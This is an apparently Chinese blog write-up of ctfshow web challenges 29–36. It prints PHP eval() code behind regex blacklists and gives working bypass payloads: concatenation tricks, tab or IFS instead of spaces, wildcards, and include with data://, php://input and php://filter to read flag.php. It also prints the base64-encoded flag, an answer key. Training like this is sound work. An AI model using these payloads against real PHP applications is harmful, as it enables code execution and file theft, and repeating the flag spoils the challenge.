ctfshow web入门 命令执行 web29-36
29-36 全是基于get传参执行 eval() 函数,均采用黑名单匹配,不同点在于黑名单的变化
web29
1 error_reporting(0);
2 if(isset($_GET['c'])){
3 $c = $_GET['c'];
4 if(!preg_match("/flag/i", $c)){
5 eval($c);
6 }
7
8 }else{
9 highlight_file(__FILE__);
10 }
涉及知识点
1、执行外部命令函数:system()、passthru()、popen()、proc_open()、exec()、shell_exec()、内敛执行(反引号``、${})
(前六个为php可调用并执行linux指令的函数)
2、关键字屏蔽绕过:''、""、?、*、\、字符拼接、数组拼接
3、文件内容查看命令:cat、tac、head、tail、less、more、nl、paste、rev、uniq、grep、sort、od、vi
payload
c=system('tac fla""g.php');
注意:不可单引号内用单引号,双引号内用双引号
若使用 cat 命令查看,需要右击查看页面源代码
web30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单增加:system、php
payload
c=syst\em('tac fl""ag.p""hp'); //对system进行绕过处理,但无法获取flag
真正payload:c=passthru('tac fl""ag.p""hp');
理由:
system()函数是 php 中的函数,不支持 '' "" \ ? * 绕过
但linux支持

但 php 支持字符拼接、数组拼接
c=eval('sys'.'tem("tac fl\ag.p\hp");');
c=eval(implode(['sys','tem("tac fla','g.ph','p");']));
web31
1 error_reporting(0);
2 if(isset($_GET['c'])){
3 $c = $_GET['c'];
4 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
5 eval($c);
6 }
7
8 }else{
9 highlight_file(__FILE__);
10 }
黑名单增加:cat sort shell . ‘
知识点:
空格绕过:<>、{,}、${IFS}、$IFS$9、%09、%0a、%0b、%0c
payload
c=echo(`tac%09fla*`); //由于屏蔽 . 应用匹配符替代(* ?)
c=echo%09`tac%09fla*`;
c=passthru("tac%09fl*"); //单引号被屏蔽,只能使用双引号
web32
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单增加: ` echo ; (
由于 ( 的,使得函数无法使用,文件包含函数与伪协议不需要括号,这里使用文件包含传递伪协议
知识点:
1、文件包含函数:include、require、include_once、require_once
2、伪协议:php:// data:// file:// zip://
3、分号在代码中表示结束,php代码格式为 <?php ?>,分号与 ?> 同为结束符,这里使用 ?> 代替分号
payload
解法一
c=include%09$_GET[1]?>&1=data://text/palin,<?php system('tac flag.php')?> //使用data伪协议
解法二
c=include%09$_GET[1]?>&1=php://input //使用php伪协议
抓包,在请求体、请求头添加下列信息
解法三
c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php //使用php伪协议
得到
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YzJhZmM2MDgtNzNjNC00ODEyLWJkMGYtOTQ0ZmNjOTVhMGUxfSI7DQo=
这是对flag.php文件进行base64编码后的内容
进行base64解码,可得flag
base64解码 原因
源代码只对参数 $C 进行黑名单匹配,我们对 $c 再嵌套一个参数,对于 $c 嵌套的参数无法匹配
web33
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单添加双引号,不影响我们,解法同32
web34
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单添加冒号,解法同32
web35
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单添加 < =,解法同32
web36
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}
黑名单添加:/ 数字
将 web32 的参数换成字母
payload
c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
c=include%09$_GET[a]?>&a=php://input
c=include%09$_GET[a]?>&a=data://text/palin,<?=system('cat flag.php')?>
参考
[WEB安全]PHP伪协议总结 - 肖洋肖恩、 - 博客园 (cnblogs.com)
ctfshow web入门 命令执行 web29-36的更多相关文章
- ctfshow web入门部分题目 (更新中)
CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...
- web漏洞-命令执行、文件上传、XSS
一.命令执行 1:什么是命令执行? 命令执行漏洞是指攻击者可以随意执行系统命令.属于高危漏洞之一任何脚本语言都可以调用操作系统命令. 应用有时需要调用一些执行系统命令的函数,举个例子如:PHP中的 ...
- (大数据工程师学习路径)第一步 Linux 基础入门----命令执行顺序控制与管道
介绍 顺序执行.选择执行.管道.cut 命令.grep 命令.wc 命令.sort 命令等,高效率使用 Linux 的技巧. 一.命令执行顺序的控制 1.顺序执行多条命令 通常情况下,我们每次只能在终 ...
- 【CTF WEB】命令执行
命令执行 找到题目中的KEY KEY为八位随机字符数字,例如key:1234qwer.提交1234qwer 即可. 漏洞代码 <?php system("ping -c 2 " ...
- Asp.net 在网页编写C#代码示例-- 一个简单的web MsSql 命令执行环境
在给一个客户做的系统上,因为要对数据库进行查看,但之前都是用TeamView来连接到客户的服务器进行数据库操作的 但最近客户那边的TeamView好像更改过密码导致我无法正常连接,而巧了客户的网官因为 ...
- ctfshow WEB入门 信息收集 1-20
web1 题目:开发注释未及时删除 查看页面源代码即可 web2 题目:js把鼠标右键和f12屏蔽了 方法一: 禁用JavaScript 方法二: url前面加上view-source: web3 题 ...
- 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
- 关于CTFshow中Web入门42-54
0x00前记 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...
- ctfshow之Web入门刷题记(从89开始,持续更新)
0x01Web89-99PHP特性payload Web89 include("flag.php"); highlight_file(__FILE__); if(isset($_G ...
- [web安全原理]PHP命令执行漏洞基础
前言 PHP命令执行漏洞 应用程序的某些功能功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命 ...
随机推荐
- soucrce insight4 使用
1.快捷键 F8 高亮 ctrl + 左击 进入函数定义或变量声明处 Alt + , 后退 Alt + . 前进 ctrl + g 跳到固定行 shift + F3 选中一个单词按下后,可按F3,F4 ...
- UBUNTU18.04安装Pangolin
https://github.com/stevenlovegrove/Pangolin
- ubuntu18.08安装eigen
http://eigen.tuxfamily.org/index.php?title=Special%3AAllPages&from=&to=&namespace=100 除非 ...
- SPI的 CLK_POL和CLK_PHA
1.模式0(CPOL=0,CPHA=0) 模式0特性: CPOL = 0:空闲时是低电平,第1个跳变沿是上升沿,第2个跳变沿是下降沿 CPHA = 0:数据在第1个跳变沿(上升沿)采样 2.模式1(C ...
- 合肥光源储存环束流三维参数测量系统相关PV
合肥光源纵向震荡数据源相关PV 合肥光源纵向震荡数据源相关PV的增补 在上两文中公布了一些PV,依然有效. 本来发过了,那篇里的PV有些命名的不太好,比如PositionX.PositionY等,感觉 ...
- dataset的基本使用
在折线图(柱状.散点图类似)中使用 案例一(默认方式) let option={ dataset:{ source:[ ["1","2","3&quo ...
- [Ynoi2016] 掉进兔子洞
\(\text{Solution}\) 莫队配合 \(\text{bitset}\) 发现答案困难的部分在于同一个数在三个区间出现次数的最小值 考虑强行拆开看,用莫队处理出每个区间每个数的出现次数,这 ...
- MapboxGL基础
1. 概述 Mapbox GL 是一套开源库,用于在 Web.移动和桌面应用程序中嵌入可自定义且响应迅速的客户端地图.Mapbox GL 贴图以高帧速率呈现.缩写"GL"来自行业标 ...
- PostgreSQL维护年龄的处理
1.错误信息 WARNING: database "postgres" must be vacuumed within 3330803 transactions 最常见的方法是通过 ...
- Day 23 23.1:js加密算法
js加密算法 逆向重点掌握的内容: 1.逆向的思维 2.网站逆向的分析思路和步骤 注意:重点不是放在代码中,而是分析的思路和套路(技巧) 逆向到底是什么? 通俗来讲,逆向就是处理爬虫过程中对于加密数据 ...
